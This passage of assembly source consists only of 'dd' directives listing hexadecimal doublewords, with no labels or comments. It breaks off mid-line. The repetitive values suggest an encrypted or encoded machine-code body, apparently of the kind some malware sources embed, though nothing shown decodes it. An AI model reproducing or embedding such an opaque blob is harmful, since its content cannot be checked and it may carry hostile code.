dd 863F4376h, 3FF7590Fh, 92122AAEh, 856A6BE3h, 0F85A60Fh dd 759D929Ah, 0BEF97A7Ah, 0A23FF36Ah, 2AA63FF1h, 298562F1h dd 823FF172h, 8562F12Ah, 3FF17229h, 62F12A9Ah, 0F1722985h dd 0F12A9E3Fh, 72298562h, 7F91BA4Bh, 787A79C2h, 212425FAh dd 7A5EB8B3h, 7A3A7BC2h, 7A72B8FAh, 6BECED12h, 9930926Ah dd 922A8585h, 7A7A7507h, 7F486ED9h, 0ECF3126Ah, 4F926A6Bh dd 2A858599h, 7A751292h, 5396D97Ah, 6126A7Fh, 926A6BECh dd 8585995Ah, 7529922Ah, 0C6D97A7Ah, 126A7B5Fh, 6A6BEC16h dd 85997192h, 44922A85h, 0D97A7A75h, 6A7B75BAh, 6BEC2712h dd 988C926Ah, 922A8585h, 7A7A7553h, 7A8A76D9h, 0EC3D126Ah dd 9B926A6Bh, 2A858598h, 7A756E92h, 3262D97Ah, 4A126A73h dd 926A6BECh, 858598B6h, 7485922Ah, 5AD97A7Ah, 126A7723h dd 6A6BEC59h, 8598CD92h, 90922A85h, 0D97A7A74h, 6A7B5FB6h dd 6BEC7612h, 98D8926Ah, 922A8585h, 7A7A74AFh, 77234ED9h dd 0EF8D126Ah, 0F7926A6Bh, 2A858598h, 7A74BA92h, 2336D97Ah dd 9E126A6Bh, 926A6BEFh, 85859802h, 74D1922Ah, 6AD97A7Ah dd 126A6B11h, 6A6BEFB7h, 85981992h, 0EC922A85h, 0D97A7A74h dd 6A7A8A6Ah, 6BEFBB12h, 9834926Ah, 922A8585h, 7A7A74FBh dd 7A8A4ED9h, 0EFD2126Ah, 43926A6Bh, 2A858598h, 7A741692h dd 237AD97Ah, 0E1126A73h, 926A6BEFh, 8585985Eh, 742D922Ah dd 3ED97A7Ah, 126A734Fh, 6A6BEFF0h, 85987592h, 38922A85h dd 0D97A7A74h, 6A6B1552h, 6BEF0812h, 9B80926Ah, 922A8585h dd 7A7A7457h, 6B2002D9h, 0EF20126Ah, 9F926A6Bh, 2A85859Bh dd 7A746292h, 8A6ED97Ah, 30126A7Ah, 926A6BEFh, 85859BAAh dd 7479922Ah, 72D97A7Ah, 126A7323h, 6A6BEF42h, 859BC192h dd 94922A85h, 0D97A7A77h, 6A734852h, 6BEF6712h, 9BDC926Ah dd 922A8585h, 7A7A77A3h, 73333ED9h, 0EF74126Ah, 0EB926A6Bh dd 2A85859Bh, 7A77BE92h, 1556D97Ah, 80126A6Bh, 926A6BEEh dd 85859B06h, 77D5922Ah, 3AD97A7Ah, 126A7A8Ah, 6A6BEE90h dd 859B1D92h, 0E0922A85h, 0D97A7A77h, 6A7F4866h, 6BEEA112h dd 9B28926Ah, 922A8585h, 7A7A77FFh, 6B1166D9h, 0EEB6126Ah dd 47926A6Bh, 2A85859Bh, 7A770A92h, 236AD97Ah, 0C4126A73h dd 926A6BEEh, 85859B52h, 7721922Ah, 42D97A7Ah, 126A7333h dd 6A6BEED5h, 859B6992h, 3C922A85h, 0D97A7A77h, 6A6B1162h dd 6BEEDA12h, 9A84926Ah, 922A8585h, 7A7A774Bh, 73326AD9h dd 0EEF6126Ah, 93926A6Bh, 2A85859Ah, 7A776692h, 5FE2D97Ah dd 6126A7Bh, 926A6BEEh, 85859AAEh, 777D922Ah, 0AD97A7Ah dd 126A6B20h, 6A6BEE11h, 859AC592h, 88922A85h, 0D97A7A76h dd 6A734E4Ah, 6BEE2012h, 9AD0926Ah, 922A8585h, 7A7A76A7h dd 7B75B2D9h, 0EE38126Ah, 0EF926A6Bh, 2A85859Ah, 7A76B292h dd 5382D97Ah, 4E126A7Fh, 926A6BEEh, 85859AFAh, 76C9922Ah dd 1AD97A7Ah, 126A6B23h, 6A6BEE53h, 859A1192h, 0E4922A85h dd 0D97A7A76h, 6A7B5AEEh, 6BEE6212h, 9A2C926Ah, 922A8585h dd 7A7A76F3h, 7A8A42D9h, 0EE72126Ah, 3B926A6Bh, 2A85859Ah dd 7A760E92h, 4862D97Ah, 8C126A7Fh, 926A6BE9h, 85859A56h dd 7625922Ah, 4AD97A7Ah, 126A6B15h, 6A6BE99Dh, 859A6D92h dd 30922A85h, 0D97A7A76h, 6A733332h, 6BE9AC12h, 9A78926Ah dd 922A8585h, 7A7A764Fh, 6B231ED9h, 0E9BE126Ah, 97926A6Bh dd 2A8585A5h, 7A765A92h, 5FD2D97Ah, 0C2126A7Bh, 926A6BE9h dd 8585A5A2h, 7671922Ah, 7AD97A7Ah, 126A7A8Ah, 6A6BE9D2h dd 85A5B992h, 8C922A85h, 0D97A7A71h, 6A7A8A3Eh, 6BE9EB12h dd 0A5D4926Ah, 922A8585h, 7A7A719Bh, 7B5FCAD9h, 0E90D126Ah dd 0E3926A6Bh, 2A8585A5h, 7A71B692h, 2362D97Ah, 18126A73h dd 926A6BE9h, 8585A5FEh, 71CD922Ah, 0F2D97A7Ah, 126A7B5Ah dd 6A6BE92Fh, 85A51592h, 0D8922A85h, 0D97A7A71h, 6A6B1566h dd 6BE94412h, 0A520926Ah, 922A8585h, 7A7A71F7h, 7BF2BEFBh dd 8ED97A7Ah, 0B96A7F53h, 2B9FF32Fh, 2A863FF7h, 6BFAB2DBh dd 3A7F796Ah, 0F96A6BFBh, 852A7892h, 6BFBFA4Fh, 720F856Ah dd 0AA7FC575h, 796A6BFAh, 6BF8467Fh, 7C92F96Ah, 0FBCADB2Ah dd 92F96A6Bh, 6F852A7Dh, 6A6B155Ah, 326F852Ah, 0B36A7333h dd 55122DB9h, 926A6BE9h, 8585A48Eh, 6F852A23h, 6A7B5FE2h dd 6BF8FAD9h, 0FB9EDB6Ah, 92F96A6Bh, 0FA7F437Eh, 0F6A6BF8h dd 0E95A126Dh, 0B7926A6Bh, 238585A4h, 626F852Ah, 0D96A7F48h dd 6A6BF8FAh, 6BE97012h, 0A4CC926Ah, 2A238585h, 0F8FA4F85h dd 6F856A6Bh, 6A7B5BD6h, 7A8A52D9h, 2FB9256Ah, 292B9FF3h dd 723FF12Ch, 0F3460AF1h, 0F1BB7B8Bh, 2FF1523Bh, 6A0EF772h dd 3CCC7577h, 4E6FF17Bh, 0FB6A6BFBh, 7A7B84B8h, 75B9F37Ah dd 0CC75A0D5h, 378AF97Ch, 0F1853FF2h, 6BFB2A77h, 7893F96Ah dd 0CC757491h, 0CC75747Eh, 0AA4B852Fh, 3B747EF2h, 9408A343h dd 0F3763FF1h, 248AF362h, 2FB9B321h, 96FB9FF3h, 7A7A7B76h dd 7207F12Dh, 7A7B7E12h, 82FFF77Ah, 2A858584h, 5FCA6F85h dd 0C5756A7Bh, 6BFB527Fh, 26FF16Ah, 796A6BFBh, 6BFACA6Fh dd 7490F96Ah, 8C7FEEF2h, 12858584h, 7A7A7B7Eh, 8482FFF7h dd 0F72A8585h, 2 dup(0F72A863Fh), 85848EFFh, 7E122A85h dd 0F77A7A7Bh, 858482FFh, 0FFF72A85h, 85858482h, 7A6F852Ah dd 126A7323h, 6A6BE978h, 85A7BD92h, 8ECF8585h, 2A858584h dd 526F852Dh, 0F96A7723h, 0C5756ABEh, 6BF83A7Fh, 7292F96Ah dd 91863FF3h, 863FF155h, 467D7EF0h, 4676063Bh, 0F1720520h dd 827B863Fh, 0F15A7AFAh, 7EF0863Fh, 64A467Dh, 5434676h dd 863FF172h, 7AFA827Bh, 863F854Bh, 6BFB0ADBh, 7EBAF96Ah dd 8863F43h, 0B9B325BEh, 2C9FF32Fh, 7207F12Dh, 0F3760FF1h dd 6A3F498Ah, 0F36E3F49h, 0F3B87B80h, 623F79AAh, 779BDF3h dd 660F855Ah, 7C4B922Dh, 0BEF97A7Ah, 7BBDF372h, 2582F38Dh dd 2FB92724h, 3C929FF3h, 0DB858589h, 6A6BFBDAh, 0FA927F79h dd 92F96A6Bh, 3A6FF17Dh, 0FB6A6BFBh, 7A9025B8h, 0B8D5757Ah dd 5E6F852Ah, 236A7723h, 0B827AE91h, 0F32F7A7Eh, 2D2C299Fh dd 0DB7227F1h, 6A6BF832h, 4F79BCF3h, 6A6BFBF2h, 917394F9h dd 3A6F854Fh, 0F16A6B0Ah, 6BFBDA47h, 29BDF96Ah, 0DE6FC575h dd 7B6A6BFBh, 37A9C0ADh, 0F32B6A18h, 0BB908DBBh, 83BB7D80h dd 0F3B05365h, 0BD7B23AAh, 6EF280F3h dd 0F413C49h, 0F1BC0676h, 6FF1763Fh, 6A6BF84Ah, 0FA966F79h dd 90F96A6Bh, 796EF278h, 2425A2F3h, 2FB92721h, 0F12D9FF3h dd 0F85763Fh, 6A0F856Eh, 85760F85h, 6F85720Fh, 6A7B5FB2h dd 6AB82725h, 9FF32F7Ah, 2D2C292Bh, 0F1720FF1h, 0F31C623Fh dd 0A6DB623Fh, 0F96A6BFBh, 7F7978BAh, 6A6BFBB2h, 5FAA7F43h dd 77096A7Bh, 6BFBCEDBh, 7E92F96Ah, 7B5FAAD9h, 0FBBADB6Ah dd 0BDF36A6Bh, 0FA924779h, 95F96A6Bh, 0F7769178h, 6A9AC766h dd 0A4436A7Bh, 0DB3D6F0Eh, 6A6BFBAEh, 7A79A77Fh, 227F797Ah dd 436A6BFBh, 759A08BDh, 0FB427FC5h, 0C5756A6Bh, 6BFB1E6Fh dd 6AFEF76Ah, 7A7A799Eh, 7D0FBD43h, 193BA4Bh, 757A7A7Bh dd 6A074ECDh, 0F16A7F50h, 6BF86E67h, 9E67796Ah, 0F96A6BFAh dd 0A4437D91h, 0CC754C0Fh, 5BCA477Eh, 852A6A7Bh, 7A5AC74Eh dd 0A4926A7Bh, 0F97A7A65h, 0C57572BEh, 6BFB8A4Fh, 0A24F796Ah dd 0F96A6BFAh, 4EF37694h, 7B6A9AC7h, 93BA4B6Ah, 7A7A7B50h dd 74ECD75h, 6A7F506Ah, 0FBAA67F1h, 0B9FB6A6Bh, 7A7A858Eh dd 0FBCE6779h, 0A4436A6Bh, 7A93FF75h, 92DB7A7Ah, 756A6BFAh dd 0FAB66FC5h, 0AA7B6A6Bh, 0F37892F9h, 0C393863Fh, 0F17A7A7Ah dd 89F3860Fh, 0F17899BBh, 6BFBA26Fh, 0AE6F796Ah, 0F96A6BFBh dd 6E437690h, 7B6A9A67h, 0E8FE756Ah, 757A7A7Ah, 6A0F6ECDh dd 0F16A7F50h, 6BFB6A77h, 8CBBFB6Ah, 757A7A85h, 0F8627FC5h dd 0BB7B6A6Bh, 0B0EB043h, 5AC76EF1h, 436A7B7Ah, 7A5A676Eh dd 1B0F6A7Bh, 0CA4F66F0h, 406A7B5Bh, 5BCA4766h, 2B0F6A7Bh dd 0F4ECD75h, 6A7F506Ah, 0FBFE67F1h, 91F96A6Bh, 0FA44379h dd 860FF157h, 4F66CC75h, 6A7B5BCAh, 0CF4E8529h, 6A7B7A5Ah dd 7A648A92h, 72BEF97Ah, 0F84E4FF1h, 94F96A6Bh, 0C74EF372h dd 6A7B6A9Ah, 0FF15F91h, 0F4EF786h, 6A7F506Ah, 9174851Ch dd 863F856Ch, 6BFB0ADBh, 799E7F6Ah, 3F437A7Ah, 4EF87586h dd 4B858585h, 756591BAh, 6A074ECDh, 0F16A7F50h, 6BF83267h dd 7991F96Ah, 7204A443h, 776851Ch, 6A7F506Ah, 2425BA4Bh dd 5EB8B321h, 9FF32F7Ah, 7A6876C2h, 0FF6D927Ah, 2C297A7Ah dd 0F489122Dh, 37926A6Bh, 2A8585A0h, 8A7BC7F7h, 852D8585h dd 7723526Fh, 76BEF96Ah, 6BFB2EDBh, 79BCF36Ah, 6BFB9A4Fh dd 7694F96Ah, 0C6FA5A91h, 858A7B4Fh, 6F0F5985h, 6BFBF2DBh dd 567F796Ah, 0F96A6BFBh, 0FEF27792h, 858A7B4Fh, 84FB3C85h dd 7A7A7585h, 0C575A208h, 6BF83E7Fh, 79B9F36Ah, 6BFB5667h dd 7591F96Ah, 6BFB82DBh, 6FC5756Ah, 6A6BFBDEh, 92F9AA7Bh dd 86FFF373h, 0DB858595h, 6A6BF87Ah, 437F92F9h, 250F723Fh dd 43763FF1h, 859586FFh, 0F76D0F85h, 8A7B67FEh, 122A8585h dd 6A6B230Ah, 7AFEF692h, 78E2937Ah, 0F6F77A7Ah, 858A7B67h dd 85B2F985h, 7B46FA3Ah, 7B830F7Ah, 7BB9F9B9h, 9586FF85h dd 0C4758585h, 8A7B67FEh, 6FF18585h, 6A6BF876h, 0FBA26F79h dd 90F96A6Bh, 75AA4372h, 7A7827FEh, 75DB917Ah, 0F83E7FC5h dd 0B9F36A6Bh, 0FB266779h, 91F96A6Bh, 0F8DADB71h, 0FFF36A6Bh dd 85859582h, 0EE7FC575h, 326A6BFBh, 75722FF1h, 0FAEE77C5h dd 93F96A6Bh, 7876F278h, 6BFBC2DBh, 6FC5756Ah, 6A6BFB52h dd 92F9AA7Bh, 86FFF373h, 85858595h, 6B0A3A6Fh, 7A6EC36Ah dd 8DE37A7Ah, 8EEFF383h, 12858595h, 6A6BF492h, 85A37992h dd 0C7F72A85h, 8585948Fh, 0F9A9922Dh, 0FEF77A7Ah, 858A7B67h dd 0FFF72A85h, 8585948Fh, 566F852Ah, 0F96A7A8Ah, 46DB76BEh dd 0F96A6BF8h, 0FF4378BAh, 8585958Eh, 7AA4F975h, 0CF857A7Ah dd 85859582h, 978CFFF7h, 922A8585h, 7A7A1634h, 3E7FC575h dd 0F96A6BFBh, 0F72A7992h, 85948FFFh, 0F852A85h, 71B39272h dd 0BEF97A7Ah, 0AA47F16Eh, 0FB6A6BFBh, 7A858EBDh, 6647797Ah dd 436A6BF8h, 0F75D0F82h, 85948FFFh, 0F852A85h, 566F8572h dd 126A7A8Ah, 6A6BF499h, 85A21192h, 0F852A85h, 566F8572h dd 0F96A7A8Ah, 6DB6EBEh, 0F96A6BFBh, 0F72A7C92h, 85978CFFh dd 0F852A85h, 710B9272h, 0BEF97A7Ah, 0F647F176h, 0FB6A6BFBh dd 7A8584BDh, 4647797Ah, 436A6BF8h, 12410F82h, 6A6BF4A2h dd 85A25992h, 0F852A85h, 566F8572h, 0F76A7A8Ah, 85978CFFh dd 0F852A85h, 566F8572h, 126A7A8Ah, 6A6BF4A9h, 85AD8592h dd 0F852A85h, 566F8572h, 0F96A7A8Ah, 0FF855ABEh, 85859582h dd 9586CF85h, 93928585h, 237A7A7Eh, 958EFFF3h, 0C5758585h dd 6BFB5277h, 0FE77796Ah, 0F96A6BFBh, 0B2437D93h, 0C5752E09h dd 6BFAAA7Fh, 7F92F96Ah, 8FFFF72Ah, 2A858594h, 92720F85h dd 7A7A70ADh, 0F176BEF9h, 6BFAA647h, 81BDFB6Ah, 437A7A85h dd 0F75D0F82h, 85948FFFh, 0F852A85h, 566F8572h, 126A7A8Ah dd 6A6BF4B4h, 85AD0592h, 0F852A85h, 566F8572h, 0F96A7A8Ah dd 0F6F76EBEh, 858A7B67h, 85B2F985h, 7B46FA3Ah, 7B830F7Ah dd 86FF85B9h, 0F9858595h, 0C4757BB9h, 8A7B67FEh, 6FF18585h dd 6A6BFB66h, 3A77C575h, 7B6A6BF8h, 7090F9B0h, 0FF75AA43h dd 85858469h, 6BF4B312h, 0AD50926Ah, 852A8585h, 6F85720Fh dd 6A7A8A56h, 0F176BEF9h, 859582FFh, 0F8DAD985h, 24256A6Bh dd 29B9B321h, 0EF12D2Ch, 6F16A5Eh, 83F36E5Eh, 99A989F3h dd 0FB0E6FF1h, 0B8F96A6Bh, 726F796Bh, 0F36A6BFBh, 0F38353ABh dd 7392A98Ah, 25A2F3B9h, 2FB92124h, 96FB9FF3h, 7A7A7B5Eh dd 122D2C29h, 7A7C60FAh, 6F853A10h, 6A7F5396h, 9A12B9F3h dd 107A7EE9h, 966F853Ah, 0F36A7F53h, 3FF1863Fh, 78BAF972h dd 860F852Ah, 7AFBFA92h, 863FF17Ah, 0B2F9BBF3h, 46FA3A85h dd 830F7A7Bh, 0F1823FF3h, 6BFBAA47h, 7D95F96Ah, 82F34191h dd 0F3863F79h, 858492FFh, 6ACC7585h, 849AEFF3h, 82F38585h dd 849EFFF3h, 9D8D8585h, 84A6FFF3h, 0FFF18585h, 8585849Ah dd 84A6EFF1h, 0AA7B8585h, 8492EFF1h, 78F28585h, 8207413Dh dd 0C575BA08h, 6BFB467Fh, 6FC5756Ah, 6A6BFB32h, 0C6AFEF7h dd 2A7A7C60h, 820F8529h, 92860F85h, 7A7A43DAh, 0F16ABEF9h dd 6BFAEA4Fh, 7E94F96Ah, 46FA6F91h, 7E0F4749h, 53497EBCh dd 514946FAh, 7EBC7E0Fh, 0F33C5249h, 85B2F9A3h, 7B46FA3Ah dd 43830F7Ah, 75A108BCh, 0FBE27FC5h, 7F796A6Bh, 6A6BFAEAh dd 0F17F92F9h, 46FA722Fh, 6B0F3178h, 7B5ADA12h, 96FFF76Ah dd 2A858584h, 7AFADE92h, 7FC5757Ah, 6A6BFB8Ah, 0F17C92F9h dd 46FA722Fh, 6B0F3E78h, 734E3A12h, 96FFF76Ah, 2A858584h dd 7AFAFA92h, 7FC5757Ah, 6A6BF83Ah, 0F17292F9h, 46FA722Fh dd 480F2A78h, 73324A12h, 96FFF76Ah, 2A858584h, 7AFA2692h dd 0F852DB7Ah, 92F96A6Bh, 0F7292A7Dh, 858496FFh, 15922A85h dd 0F97A7A5Ch, 0BA7376BEh, 7BF8FF75h, 0EADB7A7Ah, 796A6BFAh dd 6BFAAE7Fh, 7392F96Ah, 0FAC6DB2Ah, 0C5756A6Bh, 6BFB626Fh dd 0F9AA7B6Ah, 102A7292h, 0F856DB7Eh, 92F96A6Bh, 0C5752A7Dh dd 6BFB8A7Fh, 7C92F96Ah, 7A7A122Ah, 0FFF73A7Ah, 85858496h dd 626F852Ah, 0F36A6B11h, 78108E3Fh, 6BFAEADBh, 7E92F96Ah dd 7FC5752Ah, 6A6BFB42h, 0AA6FC575h, 7B6A6BFAh, 7392F9AAh dd 8E0F852Ah, 154A6F85h, 0BB126A6Bh, 926A6BF4h, 8585AE9Ah dd 6FC57523h, 6A6BF862h, 8A2FF728h, 366FF128h, 756A6BF8h dd 0FB4677C5h, 0B07B6A6Bh, 287490F9h, 8E0F852Ah, 15666F85h dd 36DB6A6Bh, 756A6BFBh dd 0FBD26FC5h, 0AA7B6A6Bh, 0F17892F9h, 46FA722Fh, 480F3178h dd 6BF4C612h, 0AEE8926Ah, 75238585h, 0FB326FC5h, 28306A6Bh dd 288A2FF7h, 0F8326FF1h, 6F796A6Bh, 6A6BF85Eh, 287E90F9h dd 8E0F852Ah, 15666F85h, 6ADB6A6Bh, 0F96A6BFBh, 2FF17392h dd 7846FA72h, 12460F2Ah, 6A6BF4CDh, 85AE3592h, 6FF12385h dd 6A6BFBBAh, 8677C575h, 7B6A6BFAh, 7990F9B0h, 8A2FF728h dd 926FF128h, 756A6BFAh, 0FB7E77C5h, 0B07B6A6Bh, 0F852A28h dd 666F858Eh, 0F36A6B15h, 85B2F9A3h, 7B46FA3Ah, 0F1830F7Ah dd 6BFB2E77h, 7E77796Ah, 0F96A6BF8h, 0F72B7093h, 0F12B8A37h dd 6BFB8277h, 7893F96Ah, 0B07BB8F3h, 0F852928h, 666F858Eh dd 856A6B15h, 6F858E0Fh, 6A733332h, 85860F85h, 7B5FB66Fh dd 6F85296Ah, 6A7B5FB6h, 0B3212425h, 9FF32FB9h, 720F852Dh dd 0F82E4F85h, 6F856A6Bh, 6A7B5BD6h, 2725BDF3h, 9FF32FB9h dd 2C292A2Bh, 7FC5752Dh, 6A6BFACEh, 0D26FC575h, 0F36A6BFBh dd 0F9AC7BBCh, 3FF77F94h, 72122A86h, 0F16A6BE0h, 0F12A723Fh dd 676E8562h, 7A7A7A7Ah, 6EDBBDF3h, 796A6BFBh, 6BFBA27Fh dd 7F92F96Ah, 7E0EBD43h, 1D91BA4Bh, 2A823FF7h, 0F16A0F85h dd 0F12A863Fh, 6A298562h, 0EADBBDF3h, 796A6BFAh, 6BFB727Fh dd 7692F96Ah, 420FBD43h, 856E0F85h, 3FF1760Fh, 62F12A82h dd 0F36E2985h, 0F85EDBBDh, 0C5756A6Bh, 6BFAEE6Fh, 0F9AA7B6Ah dd 0BD437992h, 4FF1730Fh, 6A6BFA8Ah, 0F17894F9h, 0F12A823Fh dd 72298562h, 2A863FF1h, 298562F1h, 258AF372h, 0B9B32124h dd 5E0EF12Ch, 758BF372h, 0FAD27FC5h, 7F796A6Bh, 6A6BFADEh dd 4F07BB43h, 0D27FC575h, 796A6BFAh, 6BFB2E7Fh, 7992F96Ah dd 0DBB2D575h, 6A6BFAA2h, 0F37F92F9h, 0DBB87B88h, 6A6BFADAh dd 0FB667F79h, 75326A6Bh, 0AB53AAD5h, 7A7B4493h, 0C575337Ah dd 6BF86A7Fh, 75BAF96Ah, 5B07BB43h, 6BF84EDBh, 7C92F96Ah dd 0F3B2D575h, 0F18A53B2h, 6BFBD66Fh, 71B8F96Ah, 0AB53BBF3h dd 7A7B7493h, 0C575337Ah, 6BFB8A7Fh, 0B26FF16Ah, 0F76A6BFBh dd 436E6A3Eh, 755207BBh, 0FBEE7FC5h, 7F796A6Bh, 6A6BFB8Eh dd 757D92F9h, 42DBB2D5h, 0F96A6BF8h, 7F7940BAh, 6A6BFBDAh dd 0AA93BB53h, 337A7A7Ah, 6BFB76DBh, 58BAF96Ah, 5807BB43h dd 727FC575h, 796A6BF8h, 6BFB2A7Fh, 7992F96Ah, 0DBB2D575h dd 6A6BFBF2h, 533BBAF9h, 7ADB93BBh, 0DB337A7Ah, 6A6BFBFAh dd 7551BAF9h, 0FBEE6FC5h, 0AA7B6A6Bh, 6307BB43h, 0B67FC575h dd 0F96A6BFBh, 0D5757D92h, 0FB22DBB2h, 0BAF96A6Bh, 91BB532Bh dd 0C5753308h, 6BFA8E7Fh, 26FF16Ah, 0F76A6BFBh, 43516A3Eh dd 755807BBh, 0FB327FC5h, 0C5756A6Bh, 6BFB426Fh, 0F9AA7B6Ah dd 0D5757892h, 0FB12DBB2h, 0BAF96A6Bh, 91BB5312h, 0ADB3340h dd 0F96A6BFBh, 0BB434FBAh, 4ADB5907h, 796A6BFBh, 6BFB1A7Fh dd 7C92F96Ah, 0DBB2D575h, 6A6BFBAAh, 7912BAF9h, 6BFB4A7Fh dd 91BB536Ah, 0FB96DB70h, 0BAF96A6Bh, 0F3BB534Ch, 2FB924B2h dd 292B9FF3h, 3FF12D2Ch, 62CC7572h, 0AA7FC575h, 0F16A6BFAh dd 6BFB6E6Fh, 6AFEF76Ah, 7A7A7A83h, 0F1A2D575h, 0CC75723Fh dd 0B97B7B3Ah, 727FC575h, 756A6BF8h, 0FAAA6FC5h, 0FEF76A6Bh dd 7A7A836Ah, 0A2D5757Ah, 75723FF1h, 7B783ACCh, 2A4FF1B9h dd 0F96A6BFBh, 31917E94h, 0FB7A47F1h, 95F96A6Bh, 0F18D537Ch dd 2FF3762Fh, 0FBA0F386h, 7A7A4598h, 307F07FAh, 38BAB0F9h dd 3A6F6EF0h, 0F16A6B15h, 6EF28637h, 0F1A2F343h, 6BFB2647h dd 4DBDF96Ah, 826FC575h, 0F36A6BFAh, 0E3AB7B83h, 0B9F3838Dh dd 757BBCF9h, 0FA867FC5h, 7F796A6Bh, 6A6BFB5Eh, 0DE06BC43h dd 0B3212425h, 9FF32FB9h, 0F12D2A2Bh, 0AE927207h, 737A7A4Dh dd 855E0EBAh, 6BF8F24Fh, 2D7B106Ah, 23126F85h, 3FF36A6Bh dd 0F24F8586h, 106A6BF8h, 6F852D7Eh, 6A6B2312h, 25823FF3h dd 0F32FB9B3h, 2D2C299Fh, 0F1760FF1h, 0E2126A07h, 2C6A6BE0h dd 23466F85h, 0BA736A77h, 3FF16A0Eh, 857DF372h, 8562F14Dh dd 0BA4B7E29h, 62123591h, 2C6A6BE0h, 23466F85h, 0BA736A77h dd 3FF16A0Eh, 857DF372h, 8562F14Dh, 0BA4B7E29h, 82125591h dd 2C6A6BE3h, 23466F85h, 0BA736A77h, 3FF16A0Eh, 857DF372h dd 8562F14Dh, 0BA4B7E29h, 0D6DB7591h, 0F96A6BFAh, 7DF37D92h dd 7A3A78C2h, 212425FAh, 7A76B827h, 0FB9FF32Fh, 7A781296h dd 2D2C297Ah, 6F857A10h, 6A77235Eh, 1239A14Bh, 6A6BF4D5h dd 85B5A992h, 720F8585h, 0C4C7F72Ah, 2D858587h, 23526F85h dd 0BEF96A77h, 0B8FFF76Eh, 2A858584h, 87C4FFF7h, 852A8585h dd 7348526Fh, 0C2FFF36Ah, 0F1858587h, 6BFBCE77h, 2277796Ah dd 0F96A6BFBh, 0A38D7C93h, 0FF75B243h, 7A7A7B93h, 6BFB6EDBh dd 79877F6Ah, 7F797A7Ah, 6A6BFB12h, 9563F43h, 0FBC6DB66h dd 0ED7F6A6Bh, 757A7A7Ah, 0FB926FC5h, 0AA7B6A6Bh, 75563F43h dd 7A78FBFFh, 7FC5757Ah, 6A6BFA86h, 437892F9h, 0FD75523Fh dd 7A7A7814h, 627FC575h, 7F6A6BFBh, 7A797742h, 75563F43h dd 7A7823FDh, 5A3FF77Ah, 6A3FF72Ah, 6A6F852Ah, 0F36A6B11h dd 8587DAFFh, 0FB82DB85h, 7F796A6Bh, 6A6BFB0Ah, 437D92F9h dd 8587DAFFh, 0F7770785h, 8587E2C7h, 5A0FF785h, 7191DFDFh dd 87E2C7F7h, 0FF78585h, 0F7DFDF6Ah, 8587D2FFh, 0FFF72A85h dd 858587E2h, 26F852Ah, 756A6B20h, 0FBEA7FC5h, 0CD756A6Bh dd 8587C8EFh, 0F7CD7585h, 858587CAh, 0FB4E4FF1h, 0BCF96A6Bh dd 0B4D57540h, 0CD75B07Bh, 8587D4F7h, 64FF185h, 0F96A6BFBh dd 4F7977BCh, 6A6BFB0Ah, 75B4D575h, 0FBBE4FC5h, 47F16A6Bh dd 6A6BF84Eh, 56440EF7h, 7BB4D575h, 0F7CD75B0h, 858587D0h dd 0FA8A4FF1h, 0BCF96A6Bh, 224F7962h, 756A6BFBh, 0BCF3B4D5h dd 756ABCF9h, 4FF1B4D5h, 6A6BFB82h, 794EBCF9h, 6BF87A4Fh dd 0B4D5756Ah, 0CD75B07Bh, 8587D2F7h, 0C24FF185h, 0F96A6BFBh dd 4F797EBCh, 6A6BFBFEh, 0F1B4D575h, 6BF85A4Fh, 60BCF96Ah dd 8E47C575h, 7B6A6BFAh, 0B4D57584h, 0BE4FC575h, 0F76A6BFAh dd 75704A3Eh, 46DBB2D5h, 0F96A6BF8h, 7F794EBAh, 6A6BFBDAh dd 0F3B2D575h, 0F3B27BAAh, 8587DEFFh, 4A6FF185h, 436A7A8Ah dd 6DFD75AAh, 537A7A7Bh, 0FAAEDBB8h, 0BAF96A6Bh, 77C57572h dd 6A6BFB92h, 0B843B27Bh, 7A86F975h, 0C6DB7A7Ah, 7F6A6BFBh dd 7A7A7AE4h, 0E563F43h, 857A1068h, 6C92720Fh, 0F97A7A1Fh dd 0A19372BEh, 107A7A7Ah, 720F857Bh, 7A1F7E92h, 72BEF97Ah dd 7A7AB393h, 94C7FA7Ah, 54858584h, 7AC2FE75h, 0DC127A7Ah dd 926A6BF4h, 8585B7F6h, 8494C7F7h, 852D8585h, 0F72A720Fh dd 8587C4C7h, 6F852D85h, 6A772352h, 84B8CFF7h, 96FB8585h dd 7A7A7B3Ah, 0E5C39DF3h, 897A7A7Ah, 0C7F7DF1Ch, 858587C4h dd 8724922Dh, 0BEFB8585h, 7A7A7B22h, 0FFF71691h, 858584B8h dd 0C2CF852Ah, 85858587h, 7B75B26Fh, 73B9F36Ah, 0FA2D0EA1h dd 858494C7h, 300E5485h, 6BF4E712h, 0B764926Ah, 0C7F78585h dd 85858494h, 720F852Dh, 0C4C7F72Ah, 2D858587h, 23526F85h dd 0CFF76A77h, 858584B8h, 7B3A96FBh, 9DF37A7Ah, 7A7AE5C3h dd 0DF1C897Ah, 87C4C7F7h, 922D8585h, 8585868Ah, 7B22BEFBh dd 0A1737A7Ah, 2425EA0Fh, 2FB9B321h, 96F99FF3h, 2D2C2976h dd 6BFB0ADBh, 7E92F96Ah, 0F1823FF3h, 0BBF3763Fh, 3A85B2F9h dd 7A7B46FAh, 0BCF3830Fh dd 0F7723FF1h, 85B2F972h, 7B46FA3Ah, 0F3830F7Ah, 0D6DB8E3Fh dd 0F96A6BFBh, 3FF37892h, 0F1379186h, 6BFB4A67h, 0CADB316Ah dd 0F36A6BFAh, 64779BDh, 0F96A6BFBh, 57917695h, 7B863FF1h dd 722FF182h, 787EC475h, 75762FF1h, 43406EC4h, 39600FAAh dd 6A0F8943h, 0F1823F85h, 3F436A3Fh, 0F17F0F82h, 6F91863Fh dd 88D433Dh, 863F85B5h, 438E3FF1h, 0D108863Fh, 7A8585C2h dd 2124257Ah, 0F32FB9B3h, 2C292B9Fh, 7207F12Dh, 0F82A47F9h dd 0F7A6A6Bh, 0A2A126Fh, 6F856A6Bh, 6A7B75B6h, 0F82A7FBDh dd 7A7B6A6Bh, 4FF17A7Ah, 6A6BFB56h, 0FB9A4F79h, 94F96A6Bh dd 65CC757Ch, 782DCC75h, 0BBA8CD75h, 0A9737298h, 0F1A1CD75h dd 6BFBBA6Fh, 0D575386Ah, 1CA47BA0h, 75860FF3h, 0F1863FCDh dd 6BFB866Fh, 7FB8F96Ah, 0FB4A6F79h, 0AA436A6Bh, 7AFAFE75h dd 2A127A7Ah, 856A6B0Ah, 6B23266Fh, 0FB4EDB6Ah, 0BAF96A6Bh dd 3FF31C7Eh, 75589184h, 7B843FCDh, 6AC47582h, 7E35C475h dd 6AF2B04Bh, 843FCD75h, 0FB6E6FF1h, 7B386A6Bh, 3FF31CAAh dd 3FCD7584h, 2FCD7584h, 6AA4386h, 0FB6EDBA8h, 0F1326A6Bh dd 